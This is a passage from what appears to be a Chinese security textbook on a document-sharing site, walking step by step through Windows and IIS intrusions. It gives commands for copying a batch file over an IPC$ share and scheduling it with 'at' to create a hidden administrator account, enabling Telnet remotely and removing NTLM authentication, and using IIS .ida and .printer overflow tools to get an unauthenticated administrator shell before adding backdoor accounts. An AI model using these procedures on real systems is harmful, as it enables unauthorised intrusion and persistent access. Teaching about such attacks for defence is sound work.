ack.bat文件拷贝到1的D盘内,如图2.40所示。图2.40hack.bat复制④通过计划任务使远程主机执行hack.bat文件,输入“nettime\\1”命令,查看目标系统时间,如图2.41所示。图2.41hack.bat远处执行⑤如果目标系统的时间为23:22,则可输入“at\\123:30d:\hack.bat”命令,计划任务添加完毕后,使用命令“netuse*/del”断开IPC$连接。⑥验证账号是否成功建立。等一段时间后,估计远程主机已经执行了hack.bat文件。通过建立IPC$连接来验证是否成功建立“sysback”账号。若连接成功,说明管理员账号“sysback”已经成功建立连接。(3)Telnet入侵实例①打开计算机管理,如图2.42所示。建立IPC$连接。②连接远程计算机。③选择操作-连接到另一台计算机,如图2.43所示。图2.42打开计算机管理图2.43选择计算机④开启“计划任务”服务,如图2.44所示。⑤开启Telnet服务,如图2.45所示。图2.44开启计划任务图2.45开启Telnet服务⑥查看计算机管理中的信息,如图2.46所示。⑦去掉NTML验证。图2.46计算机管理信息[方法1]在本地计算机建立一个与远程主机相同的账号和密码。通过“开始”→“程序”→“附件”找到“命令提示符”,使用鼠标右键单击“命令提示符”,然后选择“属性”。在“以其他用户身份运行”前面打钩。在MS-DOS界面中进行Telnet登录。[方法2]首先建立telnet.txt文件,然后写入3,7,y,0,y,0,0。建立批处理文件tel.bat,输入命令tlntadmn<telnet.txt。该命令是把telnet.txt中的内容导入tlntadmn.exe。建立IPC$连接,将telnet.txt和tel.bat拷贝到远程计算机,并通过at命令执行tel.bat,去除NTLM认证。⑧使用telnet命令进行Telnet连接测试。3.IIS漏洞的入侵(1)基于*.ida漏洞的入侵①扫描远程服务器,寻找有漏洞的主机。打开X-scan,按照如图2.47和图2.48所示,填好扫描项目,开始扫描远程主机。扫描完毕后,在扫描报告中,发现远程服务器01存在IIS.IDAISAPI过滤器漏洞。图2.47选择扫描范围图2.48选择扫描模块在浏览器的地址栏中输入:“01/*.ida”,返回信息“文件c:\inetpub\wwwroot\*.ida文件名、目录名或卷标语法不正确”,确认远程主机存在漏洞,并得到远程服务器提供Web服务的根目录是c:\inetpub\wwwroot。②IDA溢出,将工具IDAHack.exe拷贝到%systemroot%/system32目录下。在命令

行下输入“idahack01801520”(说明:目标主机没有打补丁,因此主机类型是1),打开端口号520,等待Telnet登录,如图2.49所示。图2.49IDA溢出注释:如果使用ida.exe工具,则在命令行中输入“ida01800”即可打开Telnet端口号99。③Telnet登录,在MS-DOS中输入“telnet01520”命令远程登录服务器

(见图2.50)。该Telnet登录并无身份验证,如果登录成功,立即得到Shell,该Shell拥有管理员权限,可以在其中执行任何命令。图2.50输入Telnet命令④建立账号,如图2.51所示,入侵成功后,在远程服务器上建立管理员账号,如图2.52所示。图2.51成功入侵图2.52在远程主机上创建管理员账号此时,入侵者便获得了一个远程主机上的管理员账号,可以通过系统认证来“合法”地使用“计算机管理”或“DameWare”等工具远程控制服务器,并且在远程服务器上添加了后门账号。⑤使用“exit”命令退出登录。(2)基于.Printer漏洞的入侵①使用X-Scan工具扫描远程服务器。②使用iisx.exe工具连接有.Printer漏洞的主机01,如图2.53所示。图2.53使用iisx连接远程主机③执行Telnet命令“Telnet017788”,入侵远程主机。④在远程主机上创建管理员后门账号。⑤使用“exit”命令退出登录。(3)使用Unicode

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论